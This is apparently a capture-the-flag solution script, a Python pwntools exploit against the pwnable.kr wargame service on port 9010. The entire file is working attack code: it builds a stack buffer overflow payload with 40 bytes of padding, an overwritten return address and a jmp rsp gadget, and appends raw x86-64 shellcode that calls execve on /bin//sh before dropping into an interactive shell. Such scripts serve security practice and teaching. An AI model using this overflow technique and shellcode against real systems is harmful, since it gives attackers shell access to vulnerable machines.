#!/usr/bin/python
from pwn import *
p = remote("pwnable.kr", 9010)
payload = asm("jmp rsp",arch="amd64",os="linux")
payload += "\n1\n"
payload += "A"*40
payload += "\xa0\x20\x60\x00\x00\x00\x00\x00"+"\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"
p.sendline(payload)
p.interactive()
p.close()


